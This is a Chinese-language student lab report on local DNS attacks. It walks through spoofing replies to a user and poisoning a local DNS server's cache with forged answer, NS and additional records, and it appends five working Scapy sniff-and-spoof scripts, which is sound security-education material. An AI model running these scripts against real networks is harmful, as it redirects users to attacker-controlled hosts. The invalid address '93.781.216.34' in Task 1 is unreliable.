0%

Local DNS Attack Lab

完成时间 2022.11.29

一.实验目标

DNS(域名系统)是互联网的电话簿;它将主机名转换为IP地址(反之亦然)。这种转换是通过DNS解析进行的,它发生在幕后。DNS攻击操作这个解决方案以各种方式进行,目的是误导用户到其他目的地,它们通常是恶意的。这个实验室的目的是了解这种攻击是如何发生的。学生将首先建立和配置DNS服务器,然后他们将尝试各种DNS攻击的目标也是在实验室环境中。

攻击本地受害者和远程DNS服务器的难度是完全不同的。因此,我们开发了两个实验室,一个专注于本地DNS攻击,另一个专注于远程DNS攻击。这个实验室关注本地攻击。本实验室涵盖以下主题:

•DNS及其工作原理

•DNS服务器设置

•DNS缓存投毒攻击

•欺骗DNS响应

•包嗅探和欺骗

•Scapy工具

二.实验原理

2.1 DNS协议

域名系统(英语:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53[1]。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。

2.2 拓扑搭建

DNS 缓存中毒攻击的主要目标是本地 DNS 服务器。 显然,攻击真实的是非法的服务器,所以我们需要架设自己的DNS服务器来进行攻击实验。 实验室环境需要四台独立的机器:一台给受害者,一台给本地 DNS 服务器,另外两台给攻击者。实验环境设置如图 1 所示。本实验侧重于本地攻击,因此我们将所有这些同一局域网上的机器。

三.实验器材

1.Ubuntu20.04。

2.Docker.

四.实验步骤及运行结果

4.1 Task 1: Directly Spoofing Response to User

当用户在网络浏览器中键入网站名称(主机名,例如 www.example.com)时,用户电脑会向本地DNS服务器发送DNS请求,解析主机的IP地址姓名。 攻击者可以嗅探 DNS 请求消息,然后他们可以立即创建一个虚假的 DNS 响应,并发送回用户机器。 如果假回复比真实回复早到达,它将被接受用户机器。见下图:

请编写一个程序来发起这样的攻击。

实现过程:

在本次攻击时,主要是针对于用户向本地DNS发送请求时,攻击者对用户进行DNS响应,因此可以进行报文伪造的过程如下:

根据实验手册中的脚本进行改写如上,其中网卡可以在攻击者主机中使用ip a查询得到,如下:

在进行攻击前,先利用dig指令查询www.example.net的原始DNS名称服务:

可以看到其为 93.781.216.34,然后开始进行攻击:

Step1:

清除本地DNS服务器的缓存,如果不进行清除的话,用户在向本地DNS服务器进行查询时,其响应速度快于构造报文的转发速度,因而会导致攻击失败。

Step2:

执行攻击脚本,再次利用dig查询网址的DNS服务名称,如下:

可以观察到被成功修改为了1.1.1.1,证明攻击成功。

Step3:

查看脚本在网络中嗅探到的报文:

可以观察到该报文是从用户发给本地DNS服务器的,而攻击者正是在该过程中,先于本地DNS服务器,将伪造的报文发送给用户,从而实现攻击。

4.2 Task 2: DNS Cache Poisoning Attack – Spoofing Answers

上述攻击针对的是用户的机器。为了达到持久的效果,每次用户的机器发出对 www.example.com 的 DNS 查询 攻击者的机器必须发出一个欺骗性的DNS 响应。这可能不是那么有效;有一种更好的方法来进行攻击DNS 服务器,而不是用户的机器。当本地 DNS 服务器收到查询时,它首先从自己的缓存中查找答案;如果答案在那里,DNS 服务器将简单地使用其缓存中的信息进行回复。如果答案不在缓存,DNS 服务器将尝试从其他 DNS 服务器获取答案。当它得到答案时,它会将答案存储在缓存中,因此下次无需询问其他 DNS 服务器。参见图 2。因此,如果攻击者可以欺骗其他 DNS 服务器的响应,则本地 DNS 服务器将保留缓存中的欺骗性响应会持续一段时间。下次,当用户的机器想要解析相同的主机名,它将从缓存中获取欺骗响应。这样,攻击者只需要欺骗一次,影响将持续到缓存信息过期。这种攻击称为 DNS 缓存中毒。请修改上一个任务中使用的程序以进行此攻击。

实现过程:

对python脚本做如下修改:

修改主要在于嗅探使过滤器的内容,将其源主机修改为本地DNS服务器的IP地址即可。同理在攻击前应该先查看目标网站的原始DNS名称服务内容,同task1中的内容,故不重复。然后开始进行攻击:

Step1:

清除本地DNS服务器中已有的缓存

Step2:

执行攻击脚本,并且用dig命令查看目标网站的DNS域名如下:

可以观察到来自于本地DNS服务器中的内容已经修改为了脚本所指定的2.2.2.2,然后再本地DNS服务器中查看缓存内容:

攻击脚本中的内容已经成功写入本地DNS服务器,证明攻击成功。

Step3:

在攻击后,可以查看攻击脚本执行时,所嗅探到的报文如下,是在本地DNS与目标网站的DNS进行通信时,所截获然后进行伪造的。

4.3 Task 3: Spoofing NS Records

在上一个任务中,我们的 DNS 缓存投毒攻击只影响一个主机名,即www.example.com。如果用户试图获取另一个主机名的 IP 地址,例如 mail.example.com,我们需要启动再次袭击。 如果我们发起一次可以影响整个 example.com 的攻击,效率会更高领域。这个想法是在 DNS 回复中使用 Authority 部分。 基本上,当我们欺骗回复时,另外为了欺骗答案(在答案部分),我们在授权部分添加以下内容。 当这个条目由本地 DNS 服务器缓存,ns.attacker32.com 将用作将来的名称服务器查询 example.com 域中的任何主机名。 由于 ns.attacker32.com 由攻击者,它可以为任何查询提供伪造的答案。 本机IP地址为10.9.0.153我们的设置。请在你的攻击代码中添加一条伪造的NS记录,然后发起攻击。

实现过程:

实现前我们可以现在攻击者的DNS中查看其所指定的域名内容如下:

然后构造攻击脚本如下:

在task2的基础上添加了The Authority Section,作为伪造内容。利用该脚本即可进行如下攻击:

Step1:

清空本地DNS的缓存内容:

Step2:

执行攻击脚本,并且利用dig命令查询目标网址的DNS名称如下:

可以观察到其内容被成功修改为3.3.3.3,然后再本地DNS服务器上查看当前的缓存内容如下:

观察到example.com部分的内容均有脚本所设置的攻击者DNS提供服务,然后利用dig命令查看其是否生效,如下:

可以看到其均为攻击者DNS所指定的内容,因而攻击成功。

在此处关于www.example.net该内容由于已经在攻击脚本中指定为3.3.3.3并且在攻击过程中成功存入了本地DNS,因而会优先显示3.3.3.3而不是攻击者DNS中所指定的1.2.3.5。

4.4 Task 4: Spoofing NS Records for Another Domain

在前面的攻击中,我们成功地毒化了本地 DNS 服务器的缓存,所以 ns.attacker32.com成为 example.com 域的名称服务器。 受到这一成功的启发,我们想扩展它对其他领域的影响。 即,在由对 www.example.com 的查询触发的欺骗响应中,我们想在授权部分添加额外的条目(见下文),所以 ns.attacker32.com 也用作 google.com 的名称服务器。

请稍微修改您的攻击代码,以对您本地的 DNS 服务器发起上述攻击。 之后攻击,检查 DNS 缓存并查看缓存了哪些记录。 请描述并解释你的观察结果。应该注意的是,我们正在攻击的查询仍然是对 example.com 的查询,而不是对google.com。

实现过程:

修改脚本代码如下:

即在授权部分将谷歌的网站也添加进去,然后再利用该脚本进行如下攻击:

Step1:

清空本地DNS的缓存内容

Step2:

在攻击者主机中执行攻击脚本,然后再用户主机中利用dig命令查询目标网站的DNS名称如下:

可以观察到其内容被成功修改为4.4.4.4,随后再本地DNS服务器上查询缓存:

可以观察到google并没有被写入到本地DNS服务器上,而是只有example.com的DNS被成功修改为了攻击者所提供的DNS,通过查询RFC1034 3.7节中关于authority section 部分的解释,原因在于,在该部分中应该描述answer section中数据的权威域名服务,而在所构造的报文answer部分是根据嗅探到的报文所构建的,而在dig请求中并没google.com 因此answer部分没有,所以只在 authority section 部分的构造并不会写入本地的DNS。

4.5 Task 5: Spoofing Records in the Additional Section

在 DNS 回复中,有一个称为附加部分的部分,用于提供附加信息。在实践中,它主要用于为一些主机名提供IP地址,尤其是那些出现在管理局部分。 这个任务的目标是欺骗本节中的一些条目,看看它们是否将被目标本地 DNS 服务器成功缓存。 特别是,在响应查询时www.example.com,我们在欺骗回复中添加以下条目,除了答案部分条目1和2与权限部分中的主机名相关。 Entry 完全无关紧要回复中的任何条目,但它为用户提供了“优雅”的帮助,因此他们无需查找 IP脸书地址。 请使用 Scapy 欺骗这样的 DNS 回复。 你的工作是报告哪些条目将是成功缓存,哪些条目不会被缓存; 请解释原因。

实现过程:

修改脚本代码如下:

即添加三个实验手册中所指定的附加部分。然后利用该脚本进行攻击如下:

Step1:

清空本地DNS服务器的缓存:

Step2:

在攻击者主机中执行攻击脚本,然后再用户主机上利用dig指令查询目标网站的DNS名称服务如下:

可以观察到其IP被成功修改为了脚本中所指定的5.5.5.5,然后在本地服务器上查看缓存内容如下:

可以观察到只有example.com. 777548 IN NS ns.example.com. 和 ns.attacker32.com 被成功写入到本地DNS中,而其他在additional section的三个条目均没有被成功缓存。

根据RFC1034中的实例以及对于query的介绍可以得知原因在于,additional section中应该补充回答的是在answer section和authority section中所出现的ns,而此处并没有出现www.facebook.com 因此其并未被写入,而由于在answer section 中已经回答了www.example.com 的IP为 5.5.5.5,所以 ns.examle.com 和 ns.attacker32.com 也并未被写入。

五.附件

Task1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
pkt.show() # print
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='1.1.1.1')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=0, arcount=0,
an=Anssec)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-579a2284e98b', filter=f, prn=spoof_dns)

Task2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
pkt.show() # print
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='2.2.2.2')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=0, arcount=0,
an=Anssec)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-579a2284e98b', filter=f, prn=spoof_dns)

Task3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
pkt.show() # print
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='3.3.3.3')
# The Authority Section
NSsec1 = DNSRR(rrname='example.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
an=Anssec,ns=NSsec1)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-579a2284e98b', filter=f, prn=spoof_dns)

Task4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
pkt.show() # print
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='4.4.4.4')
# The Authority Section
NSsec1 = DNSRR(rrname='example.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')

NSsec2 = DNSRR(rrname='google.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=2, arcount=0,
an=Anssec,ns=NSsec1/NSsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
spoofpkt.show() # show spoof pkt
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-579a2284e98b', filter=f, prn=spoof_dns)

Task5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
pkt.show() # print
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='5.5.5.5')
# The Authority Section
NSsec1 = DNSRR(rrname='example.com.', type='NS',
ttl=259200, rdata='ns.attacker32.com')

NSsec2 = DNSRR(rrname='example.com.', type='NS',
ttl=259200, rdata='ns.example.com')
# The Additional Section
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.net', type='A',
ttl=259200, rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
ttl=259200, rdata='3.4.5.6')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=2, arcount=3,
an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/Addsec3)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
spoofpkt.show() # show spoof pkt
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-579a2284e98b', filter=f, prn=spoof_dns)